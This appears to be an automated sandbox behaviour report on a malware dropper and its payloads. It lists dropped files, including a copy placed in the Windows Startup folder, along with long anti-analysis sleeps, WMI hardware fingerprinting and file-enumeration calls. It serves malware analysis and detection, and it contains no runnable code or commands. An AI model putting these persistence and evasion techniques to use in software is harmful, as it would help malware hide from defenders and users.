Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\build3.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\e0cbefcb1af40c7d4aff4aca26621a98[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\chrome.exe.loqw (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\_cffi_backend.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\_MEI80242\win32\win32api.pyd.loqw (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqlite3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\_MEI80242\_cffi_backend.cp312-win_amd64.pyd.loqw (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\a\wlanext.exe.loqw (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\a\voice5.13sert.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Jump to dropped file
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\a\wlanext.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\_MEI80242\_multiprocessing.pyd.loqw (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\pywin32_system32\pywintypes312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	Dropped PE file which has not been started: C:\Users\user\Start Menu\Programs\Startup\Creal.exe.loqw (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\3D003UC5\e0cbefcb1af40c7d4aff4aca26621a98[1].exe.loqw (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\win32\win32api.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\_MEI80242\_decimal.pyd.loqw (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\a\somzx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\a\Voiceaibeta-5.13.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\PublicKey\_ed448.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\a\Creal.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Users\user\Desktop\a\build3.exe

API coverage: 1.9 %

Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -599644s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -599516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -599406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -599297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -599078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -598963s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -598844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -598734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -598608s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -598496s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -598015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -597906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -597797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -597687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -597578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -597469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -597359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -597250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -597140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -597015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -596906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -596797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -596672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -596561s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -596453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -596343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -596234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -596106s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -595984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -595875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -595766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -595641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -595531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -595422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -595312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -595203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -595094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -594984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -594872s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -594750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -594640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -594495s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -594375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe TID: 6216	Thread sleep time: -594263s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe TID: 6840	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe TID: 7356	Thread sleep count: 6803 > 30	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe TID: 7356	Thread sleep time: -204090000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe TID: 7420	Thread sleep time: -720000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe TID: 7356	Thread sleep count: 2773 > 30	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe TID: 7356	Thread sleep time: -83190000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\a\alex.exe TID: 7628	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8064	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7868	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8124	Thread sleep count: 8802 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8128	Thread sleep count: 483 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7192	Thread sleep time: -11990383647911201s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7528	Thread sleep count: 2895 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7296	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7476	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5740	Thread sleep count: 1775 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5740	Thread sleep count: 65 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5024	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3512	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\a\buildz.exe TID: 7272	Thread sleep time: -700000s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Desktop\a\Creal.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Architecture FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\a\build3.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\a\build3.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D5DC0F FindFirstFileExW,_free,FindNextFileW,_free,FindClose,_free,	11_2_00D5DC0F
Source: C:\Users\user\Desktop\a\wlanext.exe	Code function: 14_2_004061FB FindFirstFileA,FindClose,	14_2_004061FB
Source: C:\Users\user\Desktop\a\wlanext.exe	Code function: 14_2_00405799 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	14_2_00405799
Source: C:\Users\user\Desktop\a\wlanext.exe	Code function: 14_2_0040270B FindFirstFileA,	14_2_0040270B
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B77E4C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	18_2_00007FF738B77E4C
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B688D0 FindFirstFileExW,FindClose,	18_2_00007FF738B688D0
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B81EE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	18_2_00007FF738B81EE4
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B77E4C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	18_2_00007FF738B77E4C

Source: C:\Users\user\Desktop\a\build3.exe

Code function: 11_2_00D272F0 GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,

11_2_00D272F0

Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 599644	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 599516	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 599406	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 598963	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 598608	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 598496	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 596561	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 596106	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 595984	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 595875	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 595766	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 595641	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 595422	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 594984	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 594872	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 594750	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 594640	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 594495	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 594375	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 594263	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Desktop\a\alex.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98469
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98133
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97881
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97748
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97617
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97495
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97371
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97254
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97007
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96775
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96469
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96237
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96057
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95905
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95793
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
